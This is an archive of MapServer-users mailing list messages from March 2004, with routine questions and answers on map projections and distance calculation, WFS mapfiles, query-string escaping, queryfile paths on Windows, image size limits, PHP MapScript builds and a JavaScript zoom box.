(978) 251-4242 =


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:29 PM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject: RE:=20 [Mapserver-users] Distance Calculation

We are trying to map underlying layers like = streets,=20 parks, cities, etc. taken from TIGER for the United States. Then on top = of this=20 we are drawing a ring usually less than 20 miles with the center being = the=20 center of the map. Then we are mapping points given to us with lat/lon. = In the=20 legend we put the distance of the point from the center of the map. It = is this=20 distance which when done with Great Circle calc raised the red flag = because the=20 distance would put the point outside the circle when it was being drawn = inside=20 the circle. If we used Cartesian distance, then the distance would be = off.=20
 
So, based on your answers, we MUST project = our data in=20 order for our distance shown in the legend to be accurate and also match = what we=20 draw on the map, right?
 
Thanks and let me know if you need more = detail to=20 provide suggestions.


Ed McNierney=20 <ed at topozone.com> wrote:=20
I don't know what a "Cartesian" distance in = miles means=20 when your units are in degrees and the conversion between degrees and = miles=20 depends on the length and the orientation of the = line.
 
As I said, if you can provide more detail we = can offer=20 more advice.  For example, if all your distances are at a "small = scale",=20 that's more detail (you didn't say that before).  That helps = define the=20 problem better and helps us suggest solutions.  Please describe = the=20 problem you're trying to solve and we'll help!
 
   =20 - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed=20 McNierney
Cc: = mapserver-users at lists.gis.umn.edu
Subject:=20 RE: [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the = results would=20 be so different at such a small scale. Would you tell me if these = results seem=20 right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: = 8.1
 
Thanks again.

Ed McNierney = <ed at topozone.com>=20 wrote:
First, please ALWAYS reply to the entire=20 list.  That way everyone benefits from the conversation, and = the first=20 person to answer your question doesn't have to make a lifetime = commitment to=20 further questions!
 
Yes, of course you can choose one = projection for=20 your entire set of data.  Or you could switch based on what = you're=20 mapping.  The reason there are so many map projections is = because each=20 has different properties, and therefore does some things well and = other=20 things less well.  The classic Mercator projection is excellent = if you=20 are navigating with a compass; it is very poor if you're trying to = persuade=20 someone that Brazil is several times larger than=20 Greenland.
 
You also need to have a feel for what = level of=20 accuracy you need for your measurements.  The UTM family of = projections=20 is popular in part because it allows fairly accurate distance = measurements,=20 does not distort shapes badly, and is easy to use.  However, = you need=20 10 different UTM zones to cover the lower 48 states.  If you = need even=20 more accuracy a custom Transverse Mercator projection centered = on the=20 longitude of your central point would be better.
 
Mapping large areas in a single map is = harder to do=20 in an appealing way than mapping small areas, because spatial = distortion=20 becomes more obvious.
 
If you can provide a bit more detail on = what you're=20 trying to do we can offer more advice.
 
    - = Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com=20 / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North=20 Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington at yahoo.com]=20
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed=20 McNierney
Subject: RE: [Mapserver-users] Distance=20 Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of = data which=20 includes the whole United States (TIGER data). Or, do I somehow have = to=20 switch based on what I am mapping? If the latter is true, then do = you have a=20 suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong = direction.
 
Thank you,
 
Map Guy

Ed McNierney = <ed at topozone.com>=20 wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a = "geographic=20 projection" map it will not be a circle.  If you create a map = with a=20 20-mile extent it will not be a square.
 
Maps using "geographic projection" are = useless for=20 making distance measurements; you simply cannot do them in any = kind of=20 sensible way.  The width of the top edge (east-west) of your = "20=20 mile" image is DIFFERENT than the width of the bottom edge.  = In fact,=20 each row of pixels running across the image has a different width = in=20 miles/feet/meters because they're all different distances from the = Equator.  That's why the set of all points 8 miles from a = given point=20 is not a circle or ring; it's not even an = ellipse.
 
You need to choose a projected coordinate = system in=20 order to do reasonable distance measurements.
 
   =20 - = Ed
 

Ed McNierney
President and Chief=20 Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton = Street,=20 Suite 305
North Chelmsford, MA  = 01863
ed at topozone.com
(978)=20 251-4242


From: Map Guy=20 [mailto:mappington at yahoo.com]
Sent: Wednesday, March = 03, 2004=20 12:21 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users]=20 Distance Calculation

We use TIGER data for our mapping data source. We use a = geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with a = 20 mile=20 extent, and we plot a point and calculate the distance from = the=20 center using Great Circle we get 7.5 miles. Using a Cartesian = calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in = distances?
 
2. What is the correct way to draw a ring on a map using a = geographic=20 projection (lat/lon) and display distances between points using = Great=20 Circle without the distance placing the point incorrectly inside = or=20 outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to = ask these=20 questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re=20 looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C40161.D1A02DCD-- From JWiley at city.parksville.bc.ca Wed Mar 3 13:33:22 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Wed, 03 Mar 2004 13:33:22 -0800 Subject: [Mapserver-users] new application Message-ID: This is a MIME message. If you are reading this text, you may want to consider changing to a mail reader or gateway that understands how to properly handle MIME multipart messages. --=_09280228.5C3D529A Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable I'm working on a new application and nearing the point to build using our = own data. I don't understand the use of headers or footers and was hoping = someone could explain it to me as the tutorial does not explain. Thank = you in advance, my apologies to the more experienced ones but this is = where I begin... =20 --=_09280228.5C3D529A Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Description: HTML
I'm working on a new application and nearing the point = to=20 build using our own data.  I don't understand the use of headers or = footers=20 and was hoping someone could explain it to me as the tutorial does not=20 explain.  Thank you in advance, my apologies to the more experienced = ones=20 but this is where I begin...
 
--=_09280228.5C3D529A-- From siki at agt.bme.hu Wed Mar 3 16:38:34 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Wed, 3 Mar 2004 23:38:34 -0100 (GMT+1) Subject: [Mapserver-users] slash in qstring {Scanned} In-Reply-To: Message-ID: Hi, I am in trouble putting "/" (slash) into the query string. I use CGI interface, and form to specify attribute to search for with Mapserver 4.0 When I have a simple qstring (e.g. without /) it works, but when I put / into the query string nothing found. I have parcel ids like 1323/3 23456 345/23 to look for. How should I escape / character in qstring? Thanx Zoltan From scoota at supanet.com Wed Mar 3 15:41:48 2004 From: scoota at supanet.com (Keith Campbell) Date: Wed, 03 Mar 2004 23:41:48 +0000 Subject: [Mapserver-users] WFS Layer Problem In-Reply-To: <22881.212.238.227.182.1078304327.squirrel@webmail.xs4all.nl> References: <4045227B.4030609@supanet.com> <22881.212.238.227.182.1078304327.squirrel@webmail.xs4all.nl> Message-ID: <40466D3C.9090509@supanet.com> Hi Bart, The answer to your first question is 'none', and this is where the problem obviously was. A lack of understanding on my part of the mechanisms involved. Anyway, your response pointed me in the right direction and I now have GML spewing forth, gallons of it. Now what to do with it? Just for the record, here's the request string that works:- http://localhost/cgi-bin/mapserv_40.exe?map=F:/CDS%20Project/Working/Dev/MapServer/firstWFS.map&service=WFS&version=1.0.0&request=GetFeature&TypeName=UrbanAreas Thanks for your help. Keith bartvde at xs4all.nl wrote: >Hi, > >what kind of request are you doing against the WFS? Is the GetCapabilities >working on your WFS (&service=WFS&request=GetCapabilities) ? > >Below a setup from my server which works: > > WEB > IMAGEPATH "/ms4w/tmp/ms_tmp/" > IMAGEURL "/ms_tmp/" > METADATA > WMS_TITLE "Gemeentes mapserver WMS" > WMS_ABSTRACT "UMN MapServer Gemeentekaart" > WMS_ACCESSCONSTRAINTS none > WMS_SRS "EPSG:28992" > WFS_TITLE "Gemeentes mapserver WFS" > WFS_ONLINERESOURCE >"http://myserver/cgi-bin/mapserv.exe?map=/ms4w/apps/general/map/gemeentes.map" > WFS_SRS "EPSG:28992" > OWS_SCHEMAS_LOCATION "http://ogc.dmsolutions.ca" > END > END > > LAYER > DATA "Nlge_r98" > METADATA > WMS_TITLE "Gemeentes" > WMS_ABSTRACT "Gemeentes via UMN Mapserver" > WMS_SRS "EPSG:28992" > WFS_TITLE "Gemeentes" > END > NAME "Gemeentes" > SIZEUNITS PIXELS > STATUS ON > TOLERANCE 0 > TOLERANCEUNITS PIXELS > TYPE POLYGON > DUMP TRUE > TEMPLATE "blank.html" > UNITS METERS > CLASS > NAME "Foreign Lands" > STYLE > MAXSIZE 100 > MINSIZE 1 > OUTLINECOLOR 255 0 0 > SIZE 1 > SYMBOL 0 > END > END > END > >Best regards, >Bart > > > >>Hi All, >> >>I'm trying to set up a map file to serve up a WFS layer. I think I've >>set all the metadata tags specified in the HOWTO but I get a GIF output, >>not GML. I'm using v4.0 on Windows. Here's the mapfile:- >> >>MAP >> DEBUG TRUE >> NAME "FIRST" >> SHAPEPATH "F:\CDS Project\Mapping\shp\" >> EXTENT 270000 180000 290000 200000 >> SIZE 600 600 >> UNITS METERS >> WEB >> IMAGEPATH "F:\CDS Project\Working\Dev\MapServer\tmp\" >> IMAGEURL "/CDSproj/Dev/MapServer/tmp/" >> LOG "F:\CDS Project\Working\Dev\MapServer\MapServer.log" >> METADATA >> "wfs_title" "WFS Demo - CDS Project" >> "wfs_onlineresource" >>"http://localhost/cgi-bin/mapserv_40.exe?map=F:/CDS%20Project/Working/Dev/MapServer/firstWFS.map" >> "wfs_srs" "EPSG:27700" >> "ows_schemas_location" >>"http://ogc.dmsolutions.ca/wfs/1.0.0/WFS-basic.xsd" >> END >> END >> >> # Start of LAYER DEFINITIONS >>--------------------------------------------- >> LAYER # UrbanAreas polygon layer begins here >> NAME UrbanAreas >> DATA UrbanAreas >> STATUS DEFAULT >> TYPE POLYGON >> DUMP TRUE >> >> CLASS >> STYLE >> COLOR 232 232 232 >> OUTLINECOLOR 32 32 32 >> END >> END >> END # UrbanAreas polygon layer ends here >> # End of LAYER DEFINITIONS ------------------------------- >>END # end of map file/object >> >>Can anybody see what else needs to be added to force the output to GML? >> >>Thanks, >> >>Keith >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From wlx at cngis.org Wed Mar 3 17:37:36 2004 From: wlx at cngis.org (Liangxu Wang) Date: Thu, 4 Mar 2004 09:37:36 +0800 Subject: [Mapserver-users] how compile mapserver as php dso? Message-ID: <002e01c40189$46cca2e0$4271fea9@gisedu> hi,all: I see from the list that mapserver 4.1(cvs) can be compiled as a php module(dso).but how could I configure this? I has see the history.txt,and find nothing. Any info appreciated. Best regards, wlx From snow77899 at hotmail.com Thu Mar 4 01:04:30 2004 From: snow77899 at hotmail.com (snow 77) Date: Thu, 04 Mar 2004 10:04:30 +0100 Subject: [Mapserver-users] Projection problem Message-ID: Hi, I am new to the MapServer and i have a typical newbie question. I try to get am map on the web with only one shapefile as a layer. The shapefile is from the given extent and i think i define the right projection parameters. But the output map is quite distorted. Where ist the mistake? Here my mapfile: MAP NAME "test" STATUS ON EXTENT 13.563817 46.2695106622074 16.166907714098 48.1749556 #EXTENT 389334.69 5124995.01 586750.69 5336404.45 SIZE 530 350 SHAPEPATH "../../../Inetpub/wwwroot/imdas/data" FONTSET "../../../Inetpub/wwwroot/imdas/fonts/fonts.list" IMAGECOLOR 255 255 255 UNITS DD RESOLUTION 72 PROJECTION "proj=utm" "zone=1" "ellps=WGS84" "datum=WGS84" "units=m" "no_defs " "north" "init=epsg:32601" END WEB HEADER demo_header.html TEMPLATE demo.html FOOTER demo_footer.html MINSCALE 1000 MAXSCALE 1550000 IMAGEPATH "set in demo_init.html" IMAGEURL "set in demo_init.html" END #order7 LAYER NAME "aut6__________a7" STATUS ON DATA "../../../../Inetpub/wwwroot/demo/data/aut6__________a7" LABELITEM "NAME" CLASS TEMPLATE void COLOR 255 255 204 OUTLINECOLOR 200 200 200 LABEL COLOR 132 31 31 COLOR 16 125 65 TYPE TRUETYPE FONT arial-bold SIZE 10 ANTIALIAS TRUE POSITION AUTO PARTIALS FALSE MINDISTANCE 300 BUFFER 4 END # end of label END TYPE POLYGON UNITS DD END END Can anyone help me? Thanks a lot! Sonja _________________________________________________________________ Die MSN Suche - Kategorien helfen Ihnen dabei, pr?zise Ergebnisse zu erhalten. http://search.msn.at/ From christophe.javoy at aurg.asso.fr Thu Mar 4 02:09:15 2004 From: christophe.javoy at aurg.asso.fr (christophe javoy) Date: Thu, 4 Mar 2004 11:09:15 +0100 Subject: [Mapserver-users] how to create a map with the query result ? Message-ID: <61876C0F933AA84DAB656B12B04F50A31E8B06@ruff.aurg.lan> This is a multi-part message in MIME format. ------_=_NextPart_001_01C401D0.BF885128 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hello, =20 I made a queryByAttributes on a MapInfo table. I would like to create a new map only with the result. =20 $oLayer =3D $oMap->GetLayer(0); $oLayer->open();=20 $oLayer->queryByAttributes('Num_INSEE','/'.$filter.'/',MS_MULTIPLE); the result of the query is > 0.=20 What is the process : create a new layer ? create a new mapfile ? get all the shapeobj and insert them in layer ? please, somebody can help me ? Christophe =20 ------_=_NextPart_001_01C401D0.BF885128 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Hello,
 
I made = a=20 queryByAttributes on a MapInfo table. I would like to create a new map = only with=20 the result.
 

$oLayer =3D=20 $oMap->GetLayer(0);

$oLayer->open();

$oLayer->queryByAttributes('Num_INSEE','/'.$filter.'/',MS_MULTIPLE);

the = result of the=20 query is > 0.

What is = the process :=20 create a new layer ? create a new mapfile ? get all the shapeobj and = insert them=20 in layer ?

please, = somebody can=20 help me ?

Christophe

 

=00 ------_=_NextPart_001_01C401D0.BF885128-- From ms57 at streamyx.com Thu Mar 4 02:17:00 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Thu, 04 Mar 2004 18:17:00 +0800 Subject: [Mapserver-users] queryfile - strange results Message-ID: <001301c401d1$d5415dc0$8b2e5fdb@maps> I'm doing an itemquery and wish to keep the polygon selected highlighted after further interaction with the map. In my tempalte file, I use - And then further down in the body, I use - Appears logical. However, the string for the full path for the queryfile is strange. Once I pan the map after selecting the found polygon, I get the following - msLoadQuery(): Unable to access file. (C:Inetpubwwwroot mpDEMO1078391348536.qy) Notice the wierd string for the location of the *.qy. Further down on my page, I have simply palced [queryfile], and it displays the correct full path of the query file - C:\Inetpub\wwwroot\tmp\DEMO1078391348536.qy. Obviously, it cannot access the file C:Inetpubwwwroot mpDEMO1078391348536.qy, since it makes no sense. Any ideas? Thanks From gis at schnegg.net Thu Mar 4 02:32:16 2004 From: gis at schnegg.net (Frank Rittinger) Date: Thu, 04 Mar 2004 11:32:16 +0100 Subject: [Mapserver-users] Image size out of range ... Message-ID: <404705B0.4010506@schnegg.net> Hello list, I want to create output images that exceed the default image size of 1024x1024. Are there any penalties in changing MS_MAXIMAGESIZE_DEFAULT to something like 4400 or even larger? How exactly does MS_MAXIMAGESIZE_DEFAULT = 2048 relates to a max size of 1024x1024? I.e. if I want to have an image size of 1613x2200 what would be the required MS_MAXIMAGESIZE_DEFAULT? Or is there a way to override the default at runtime? Thanks, Frank From rosesgis at ddgi.org Thu Mar 4 05:55:33 2004 From: rosesgis at ddgi.org (Albert Garcia) Date: Thu, 4 Mar 2004 14:55:33 +0100 Subject: [Mapserver-users] MrSid Message-ID: <000201c401f0$5e288870$0a10a8c0@gis> Hi all, I'm very novice in mapserver applications (and in english language, as you see. sorry). I'd made a simply application and I would know if its posible view MrSid images on it. Thank you From JRaw at ci.durham.nc.us Thu Mar 4 05:56:08 2004 From: JRaw at ci.durham.nc.us (Raw, Jeremy) Date: Thu, 4 Mar 2004 08:56:08 -0500 Subject: [Mapserver-users] queryfile - strange results Message-ID: <688BDCE35C8CC140815D34597152AF20058AA419@exchange.durham.local> The difficulty is that the backslash directory separator (standard on Windows) is also a Javascript "escape" character (standard on not-Windows). The value [queryfile] is substituted literally into the template and when it is parsed by Javascript, the slashes get eaten up, regardless of the quoting you may attempt do in the Javascript (so no amount of Javascript string replacement will save you). If it is possible to force the file path to use forward slashes as directory separators (perhaps by using forward slashes when specifying IMAGEPATH "C:/inetpub/wwwroot/tmp/") the problem should go away. Caveat: I've done a fair amount of Javascript but I'm very new to Mapserver; there may be a better/easier way to force Mapserver to use forward slashes in the queryfile pathname, or to double the backslashes (e.g. c:\\inetpub\\wwwroot\\tmp\\). If so, I'd be interested in hearing about it... --- Jeremy Raw Transportation Planner City of Durham / DCHC MPO 919-560-4366 ext. 308 / jraw at ci.durham.nc.us -----Original Message----- From: Steve McCrone [mailto:ms57 at streamyx.com] Sent: Thursday, March 04, 2004 5:17 AM To: mapserver-users at lists.gis.umn.edu Cc: Richard Greenwood Subject: [Mapserver-users] queryfile - strange results I'm doing an itemquery and wish to keep the polygon selected highlighted after further interaction with the map. In my tempalte file, I use - And then further down in the body, I use - Appears logical. However, the string for the full path for the queryfile is strange. Once I pan the map after selecting the found polygon, I get the following - msLoadQuery(): Unable to access file. (C:Inetpubwwwroot mpDEMO1078391348536.qy) Notice the wierd string for the location of the *.qy. Further down on my page, I have simply palced [queryfile], and it displays the correct full path of the query file - C:\Inetpub\wwwroot\tmp\DEMO1078391348536.qy. Obviously, it cannot access the file C:Inetpubwwwroot mpDEMO1078391348536.qy, since it makes no sense. Any ideas? Thanks _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jnielsen at aero-graphics.com Thu Mar 4 06:26:28 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Thu, 4 Mar 2004 07:26:28 -0700 Subject: [Mapserver-users] slash in qstring {Scanned} In-Reply-To: References: Message-ID: <1078410388.40473c948f593@www.agi-lan.com> Quoting Siki Zoltan : > Hi, > > I am in trouble putting "/" (slash) into the query string. > I use CGI interface, and form to specify attribute to search for with > Mapserver 4.0 > > When I have a simple qstring (e.g. without /) it works, but when I put > / into the query string nothing found. I have parcel ids like > 1323/3 > 23456 > 345/23 > to look for. > > How should I escape / character in qstring? > > Thanx > Zoltan I have seen an issue similar to this with spaces. Using the encode char solved it. Perhaps you can try using %2F for the /. http://docbook.sourceforge.net/release/dsssl/current/doc/lib/url-encode-char.html Hope this helps but dont know... ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From rich at greenwoodmap.com Thu Mar 4 06:26:39 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Thu, 04 Mar 2004 07:26:39 -0700 Subject: [Mapserver-users] Re: queryfile - strange results In-Reply-To: <001301c401d1$d5415dc0$8b2e5fdb@maps> References: <001301c401d1$d5415dc0$8b2e5fdb@maps> Message-ID: <40473C9F.4010109@greenwoodmap.com> Steve McCrone wrote: > I'm doing an itemquery and wish to keep the polygon selected highlighted > after further interaction with the map. > > In my tempalte file, I use - > > > > And then further down in the body, I use - > > > > Appears logical. However, the string for the full path for the queryfile is > strange. Once I pan the map after selecting the found polygon, I get the > following - > > msLoadQuery(): Unable to access file. (C:Inetpubwwwroot > mpDEMO1078391348536.qy) > > Notice the wierd string for the location of the *.qy. Further down on my > page, I have simply palced [queryfile], and it displays the correct full > path of the query file - > > C:\Inetpub\wwwroot\tmp\DEMO1078391348536.qy. > > Obviously, it cannot access the file C:Inetpubwwwroot > mpDEMO1078391348536.qy, since it makes no sense. > > Any ideas? 1. Try "/" instead of "\". 2. Change your input type from 'hidden' to 'text' so you can see if the "\" is getting mangled incoming or outgoing. -- Richard Greenwood www.greenwoodmap.com From jnielsen at aero-graphics.com Thu Mar 4 06:28:33 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Thu, 4 Mar 2004 07:28:33 -0700 Subject: [Mapserver-users] slash in qstring {Scanned} In-Reply-To: References: Message-ID: <1078410513.40473d11f0602@www.agi-lan.com> \/ I think will escape the char. ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From ms57 at streamyx.com Thu Mar 4 06:29:05 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Thu, 04 Mar 2004 22:29:05 +0800 Subject: [Mapserver-users] queryfile Message-ID: <001e01c401f5$0c1032e0$8b2e5fdb@maps> Just a follow up on the previosu question. I have modified the code and it looks like the correct string (i.e. path and file name) are being assigned to queryfile. On the first zoomin, the *.qy file is created in tmp/ directory and the highlighted polygon remains. But on the second zoomin, a new *.qy file apears in the alert dialog, but this file does not get created in the tmp directory, and therefore, "Unable to access file" error occurs. Thanks Steve if (qfile){ document.write(""); imgPath = document.mapserv.map_web_imagepath.value + "\DEMO" + [id] + ".qy"; alert(imgPath) document.mapserv.queryfile.value = imgPath } From dmorissette at dmsolutions.ca Thu Mar 4 08:23:42 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 04 Mar 2004 11:23:42 -0500 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <404705B0.4010506@schnegg.net> References: <404705B0.4010506@schnegg.net> Message-ID: <4047580E.1040400@dmsolutions.ca> Frank Rittinger wrote: > > I want to create output images that exceed the default image size of > 1024x1024. Are there any penalties in changing MS_MAXIMAGESIZE_DEFAULT > to something like 4400 or even larger? > > How exactly does MS_MAXIMAGESIZE_DEFAULT = 2048 relates to a max size of > 1024x1024? I.e. if I want to have an image size of 1613x2200 what would > be the required MS_MAXIMAGESIZE_DEFAULT? > My understanding is that MS_MAXIMAGESIZE_DEFAULT = 2048 means that you can have up to 2048 pixels in both dimensions (i.e. max of 2048x2048). So if you want to allow 1613x2200 images you should set it to 2200. > Or is there a way to override the default at runtime? > Since version 4.0 (not sure about 3.6), you should be able to set MAXSIZE 2200 at the top-level in your mapfile to override the default. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From woodbri at swoodbridge.com Thu Mar 4 09:41:18 2004 From: woodbri at swoodbridge.com (woodbri at swoodbridge.com) Date: Thu, 04 Mar 2004 12:41:18 -0500 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <4047580E.1040400@dmsolutions.ca> References: <404705B0.4010506@schnegg.net> Message-ID: <404723EE.29022.E242CA@localhost> I don't see this in the Documentation I have printed here, please write a doc bug on that. -sw On 4 Mar 2004 at 11:23, Daniel Morissette wrote: > Frank Rittinger wrote: > > > > I want to create output images that exceed the default image size of > > 1024x1024. Are there any penalties in changing MS_MAXIMAGESIZE_DEFAULT > > to something like 4400 or even larger? > > > > How exactly does MS_MAXIMAGESIZE_DEFAULT = 2048 relates to a max size of > > 1024x1024? I.e. if I want to have an image size of 1613x2200 what would > > be the required MS_MAXIMAGESIZE_DEFAULT? > > > > My understanding is that MS_MAXIMAGESIZE_DEFAULT = 2048 means that you > can have up to 2048 pixels in both dimensions (i.e. max of 2048x2048). > So if you want to allow 1613x2200 images you should set it to 2200. > > > Or is there a way to override the default at runtime? > > > > Since version 4.0 (not sure about 3.6), you should be able to set > MAXSIZE 2200 at the top-level in your mapfile to override the default. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mh at svaj.dk Thu Mar 4 10:11:33 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Thu, 4 Mar 2004 19:11:33 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From TENIERER at gov.ns.ca Thu Mar 4 10:36:30 2004 From: TENIERER at gov.ns.ca (Rene Teniere ) Date: Thu, 04 Mar 2004 14:36:30 -0400 Subject: [Mapserver-users] Rubber Band Box for ZoomIn/ZoomOut Using JS Message-ID: Hi all, I am trying to get the cursor to work properly when you click and hold. Copy the following code into an html file and you'll see what I mean. I'm not that great in Javascript yet, and this is to be used in an existing map made from scratch using PHP/MapScript. Implementation is for a zoomin/zoomout button. Everything else is set, drawing the box on the screen is the only problem. Resources for this kind of rubber band box are very sparse on the web, so I was hoping that someone would have run into this before. Any help would be appreciated. Rene Image Test for Rubber Box
From eduardo at consultoria.eti.br Thu Mar 4 10:40:23 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 04 Mar 2004 15:40:23 -0300 Subject: [Mapserver-users] PHPMapScript as PHP DSO Message-ID: <40477817.6000106@consultoria.eti.br> I have seen at MapServer ./configure --help that the option to compile PHPMapScript with PHP as a Apache DSO is marked with "DISABLED" Why? Is PHPMapScript 4.0.1 not possible to be compiled against a PHP that is installed as Apache DSO? thanks, -- Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From dmorissette at dmsolutions.ca Thu Mar 4 11:00:42 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 04 Mar 2004 14:00:42 -0500 Subject: [Mapserver-users] PHPMapScript as PHP DSO In-Reply-To: <40477817.6000106@consultoria.eti.br> References: <40477817.6000106@consultoria.eti.br> Message-ID: <40477CDA.7020607@dmsolutions.ca> Eduardo Patto Kanegae wrote: > I have seen at MapServer ./configure --help that the option to compile > PHPMapScript with PHP as a Apache DSO is marked with "DISABLED" > > Why? Is PHPMapScript 4.0.1 not possible to be compiled against a PHP > that is installed as Apache DSO? > That's exactly it: with 4.0.x you need PHP as a CGI, and in 4.1 (CVS) we should be able to use the PHP DSO once some build issues are resolved. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mountainduo at mho.com Thu Mar 4 11:12:52 2004 From: mountainduo at mho.com (mountainduo at mho.com) Date: Thu, 4 Mar 2004 12:12:52 -0700 (MST) Subject: [Mapserver-users] What am i doing wrong in this C program? In-Reply-To: <4046EB8E.4030705@schnegg.net> References: <20040303172037.82111.qmail@web61109.mail.yahoo.com> <2858.64.58.31.38.1078337257.squirrel@a.mail.mho.net> <4046EB8E.4030705@schnegg.net> Message-ID: <1414.64.58.31.38.1078427572.squirrel@a.mail.mho.net> Hello, i am trying to access the layers of a mapObj and when i do, i get an exception access violation...it seems that the layers are not initialized. do i need to do anything other than msLoadMap? thanks theMap = (mapObj*)msLoadMap( filename, NULL ); printf( "Map->name %s\n", theMap->name ); printf( "Map->status %i\n", theMap->status ); printf( "Map->height %i\n", theMap->height ); printf( "Map->width %i\n", theMap->width ); printf( "Map->numlayers %i\n", theMap->numlayers ); printf( "Map->transparent %i\n", theMap->transparent ); printf( "Map->interlace %i\n", theMap->interlace ); printf( "Map->imagequality %i\n", theMap->imagequality ); printf( "Map->cellsize %i\n", theMap->cellsize ); printf( "Map->extent.minx %i\n", theMap->extent.minx ); printf( "Map->extent.miny %i\n", theMap->extent.miny ); printf( "Map->extent.maxx %i\n", theMap->extent.maxx ); printf( "Map->extent.maxy %i\n", theMap->extent.maxy ); printf( "Map->units %i\n", theMap->units ); printf( "Map->scale %i\n", theMap->scale ); printf( "Map->resolution %i\n", theMap->resolution ); printf( "Map->shapepath %s\n", theMap->shapepath ); printf( "Map->numoutputformats %i\n", theMap->numoutputformats ); printf( "layers size %i\n", sizeof(theMap->layers) ); for ( x = 0; x < theMap->numlayers; x++ ) { printf( "theMap->layer[%i].name: %s\n", x, theMap->layers[x].name ); }//end for x From daniel.faivre at camptocamp.com Thu Mar 4 11:46:58 2004 From: daniel.faivre at camptocamp.com (Daniel FAIVRE) Date: Thu, 04 Mar 2004 20:46:58 +0100 Subject: [Mapserver-users] Rubber Band Box for ZoomIn/ZoomOut Using JS In-Reply-To: References: Message-ID: <404787B2.7090900@camptocamp.com> Hello, Your code is internet-explorer-specific, and could not work with other browsers. On the UMN mapserver site, you can find several dhtml (with javascripts) zoomin/zoomout API. See http://mapserver.gis.umn.edu/contributed.html for more informations. D FAIVRE Rene Teniere a ?crit : >Hi all, > >I am trying to get the cursor to work properly when you click and hold. >Copy the following code into an html file and you'll see what I mean. >I'm not that great in Javascript yet, and this is to be used in an >existing map made from scratch using PHP/MapScript. Implementation is >for a zoomin/zoomout button. Everything else is set, drawing the box on >the screen is the only problem. > >Resources for this kind of rubber band box are very sparse on the web, >so I was hoping that someone would have run into this before. > >Any help would be appreciated. > >Rene > > > >Image Test for Rubber Box > > > > > >
> > > > >
> SRC="http://www.gov.ns.ca/natr/juan/images/viewer.jpg" ismap >onmouseup="mouseUp()" onmousedown="mouseDown()"> >
